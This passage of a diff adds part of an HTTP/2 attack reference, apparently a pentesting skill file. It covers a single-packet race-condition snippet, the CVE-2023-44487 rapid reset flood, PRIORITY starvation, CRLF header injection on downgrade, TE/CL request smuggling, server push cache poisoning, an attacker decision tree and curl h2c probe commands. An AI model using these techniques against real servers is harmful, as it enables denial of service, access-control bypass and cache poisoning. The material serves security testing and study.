225
+ sid = conn.get_next_available_stream_id()
226
+ conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
227
+ conn.send_data(sid, b'amount=1000', end_stream=True)
228
+
229
+ sock.sendall(conn.data_to_send()) # ALL frames in single TCP packet
230
+ ```
231
+
232
+ ### 5.2 RST_STREAM Flood (CVE-2023-44487 "Rapid Reset")
233
+
234
+ ```
235
+ Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec
236
+ Server processes each open/close but client doesn't wait for responses
237
+ Amplification: minimal client resources → massive server CPU exhaustion
238
+ ```
239
+
240
+ ### 5.3 PRIORITY Manipulation
241
+
242
+ ```
243
+ Set exclusive=true + weight=256 on attacker's stream → starve other users' requests
244
+ ```
245
+
246
+ ---
247
+
248
+ ## 6. HTTP/2 → HTTP/1.1 DOWNGRADE ISSUES
249
+
250
+ ### 6.1 Header Injection via Binary Format
251
+
252
+ H2 header values are binary — `\r\n` is valid data within a value. When proxy downgrades to H1, `\r\n` in header value becomes actual line break → header injection.
253
+
254
+ ```
255
+ H2: X-Custom: "value\r\nInjected: evil" → binary, valid
256
+ H1: X-Custom: value → line break
257
+ Injected: evil → new header!
258
+ ```
259
+
260
+ ### 6.2 Transfer-Encoding Smuggling
261
+
262
+ H2 spec forbids `transfer-encoding`, but some proxies pass it through during downgrade → backend processes chunked encoding → H2.TE smuggling. See `../request-smuggling/H2_SMUGGLING_VARIANTS.md`.
263
+
264
+ ### 6.3 Content-Length Discrepancy
265
+
266
+ H2 uses frame length (no CL needed). If proxy generates CL during downgrade but attacker also sent a CL header → conflicting lengths → request smuggling.
267
+
268
+ ### 6.4 Header Name Case
269
+
270
+ H2 requires lowercase. Sending `Transfer-Encoding` (uppercase) is invalid H2 but some proxies pass it → valid H1 header on backend.
271
+
272
+ ---
273
+
274
+ ## 7. SERVER PUSH CACHE POISONING
275
+
276
+ ```
277
+ Attack: trigger server push for /static/app.js with attacker-controlled content
278
+ → PUSH_PROMISE frame pushes malicious response
279
+ → browser/CDN caches poisoned content under legitimate URL
280
+ → all subsequent loads serve attacker's content
281
+
282
+ Mitigation: most modern browsers/CDNs restrict or disable server push
283
+ ```
284
+
285
+ ---
286
+
287
+ ## 8. DECISION TREE
288
+
289
+ ```
290
+ Target supports HTTP/2?
291
+
292
+ ├── YES
293
+ │ ├── Does proxy support h2c upgrade?
294
+ │ │ ├── YES → h2c smuggling (Section 2)
295
+ │ │ │ └── Access restricted paths bypassing proxy rules
296
+ │ │ └── NO → Continue
297
+ │ │
298
+ │ ├── H2→H1 downgrade between proxy and backend?
299
+ │ │ ├── YES → Header injection via binary format (Section 6.1)
300
+ │ │ │ ├── TE header passthrough? → H2.TE smuggling (Section 6.2)
301
+ │ │ │ ├── CL discrepancy? → H2.CL smuggling (Section 6.3)
302
+ │ │ │ └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md
303
+ │ │ └── NO (end-to-end H2) → Continue
304
+ │ │
305
+ │ ├── Need race condition?
306
+ │ │ ├── YES → Single-packet attack via multiplexing (Section 5.1)
307
+ │ │ │ └── Pack N requests in one TCP segment
308
+ │ │ └── NO → Continue
309
+ │ │
310
+ │ ├── Pseudo-header manipulation viable?
311
+ │ │ ├── :path discrepancy → path confusion (Section 3.2)
312
+ │ │ ├── :authority vs Host → vhost confusion (Section 3.4)
313
+ │ │ └── :scheme manipulation → access control bypass (Section 3.5)
314
+ │ │
315
+ │ ├── Server push enabled?
316
+ │ │ ├── YES → Cache poisoning via push (Section 7)
317
+ │ │ └── NO → Continue
318
+ │ │
319
+ │ └── DoS objective?
320
+ │ ├── RST_STREAM rapid reset (Section 5.2)
321
+ │ └── PRIORITY starvation (Section 5.3)
322
+
323
+ └── NO (HTTP/1.1 only)
324
+ └── See ../request-smuggling/SKILL.md for H1-specific techniques
325
+ ```
326
+
327
+ ---
328
+
329
+ ## 9. TOOLS REFERENCE
330
+
331
+ | Tool | Purpose |
332
+ |---|---|
333
+ | **h2csmuggler** | h2c upgrade smuggling (github.com/BishopFox/h2csmuggler) |
334
+ | **http2smugl** | H2-specific desync testing (github.com/neex/http2smugl) |
335
+ | **h2 (Python)** | HTTP/2 protocol lib for frame crafting (github.com/python-hyper/h2) |
336
+ | **nghttp2** | H2 client/server tools (nghttp2.org) |
337
+ | **Burp HTTP Request Smuggler** | Automated variant scanning |
338
+ | **curl --http2** | Quick H2 probing (built-in) |
339
+
340
+ ---
341
+
342
+ ## 10. QUICK REFERENCE
343
+
344
+ ```bash
345
+ # h2c probe
346
+ curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
347
+
348
+ # H2 support check
349
+ curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"
350
+ ```